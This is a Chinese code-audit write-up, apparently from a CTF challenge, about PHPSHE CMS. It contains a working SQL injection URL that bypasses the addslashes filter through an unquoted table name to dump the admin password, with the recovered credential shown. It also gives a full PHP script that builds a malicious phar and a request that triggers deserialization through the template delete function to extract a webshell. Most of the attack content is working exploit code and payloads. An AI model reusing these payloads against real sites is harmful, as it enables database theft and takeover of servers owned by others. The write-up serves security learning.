知识点： phpshe cms 代码审计(代码对比，phar 反序列化，sql突破安全函数)
前台 sql 注入 获取密码
先看一下它对参数做了什么处理（common.php），在参数前加上了 _g_
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
在 include/function/global.func.php 中的 pe_dbhold 是防 sql 注入的，对字符串或者数组调用 addslashes() 转义，把一些字符实体化。
突破安全函数常见的有如下几种情况：
1. 不需要单引号的注入点 2. 数组的键名带入SQL语句中 3. 宽字节等可吃掉反斜线。
function pe_dbhold($str, $exc=array())
{
if (is_array($str)) {
foreach($str as $k => $v) {
$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
}
}
else {
//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
}
return $str;
}
入口文件位于 include/plugin/payment/alipay/pay.php，$_GET['id'] 经过 pe_dbhold() 函数处理后赋值给 $order_id，然后 $order_id 被带入 order_table() 函数。
$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
hook/order.hook.php 下的 order_table 判断表名中有没有下划线，若有则取下划线前一部分，加到 order_ 后面，若没有则直接返回 order，这边的表名我们能控制一部分
function order_table($id) {
if (stripos($id, '_') !== false) {
$id_arr = explode('_', $id);
return "order_{$id_arr[0]}";
}
else {
return "order";
}
}
\source\include\class\db.class.php 下的 pe_select 执行 sql 语句，且这边的表名没有用单引号，所以可以绕过 addslashes，我们只要闭合一下就可以 sql 注入了，这边为了防止报错，最好找一个表名中有 order_ ，这里只有 pe_order_pay 符合。
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
payload：查询admin密码
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_
账号密码：admin/altman777
反序列化
这边学到了一个新的思路，可以用 Diffinity 把题目的源码和 PHPshe 官网的源码进行对比，在 /include/class/pclzip.class.php 的 PclZip 类中加了一个析构函数。
可以直接反序列化然后解压文件，且路径可控，那么我们只要上传一个压缩后的 webshell，并控制解压文件的路径到可访问的目录就可以获得 webshell，那么在哪边反序列化呢？
在 moban.php 的 del 功能下调用了 pe_dirdel，而 pe_dirdel 里面的 is_file 可以触发 phar 反序列化。（注意：是需要 token 的）
case 'del':
pe_token_match();
$tpl_name = pe_dbhold($_g_tpl);
if ($tpl_name == 'default') pe_error('默认模板不能删除...');
if ($db->pe_num('setting', array('setting_key'=>'web_tpl', 'setting_value'=>$tpl_name))) {
pe_error('使用中不能删除');
}
else {
pe_dirdel("{$tpl_name}");
pe_success('删除成功!');
}
function pe_dirdel($dir_path)
{
$dir_path = str_replace("..", " ", $dir_path);
if (is_file($dir_path)) {
#unlink($dir_path);
}
else {
$dir_arr = glob(trim($dir_path).'/*');
if (is_array($dir_arr)) {
foreach ($dir_arr as $k => $v) {
pe_dirdel($v, $type);
}
}
#rmdir($dir_path);
}
}
构造 phar 文件，只需要改 zipname 和 save_path 属性，其他的照搬，最后把 phar 后缀改为 phar.txt，上传到品牌管理。
<?php
class PclZip{
var $zipname = '';
var $zip_fd = 0;
var $error_code = 1;
var $error_string = '';
var $magic_quotes_status;
var $save_path = '/var/www/html/data';
function __construct($p_zipname){
$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;
return;
}
}
$a=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
上传后的文件名为 ID号.xxx
payload:
在 moban 的 del 处触发 phar，把压缩后的 webshell 解压到 data/xxx.php
admin.php?mod=moban&act=del&token=c740493955d5ca97a92ffee76d5938cc&tpl=phar:///var/www/html/data/attachment/brand/2.txt
reference
https://anquan.baidu.com/article/697
https://blog.csdn.net/mochu7777777/article/details/107550135
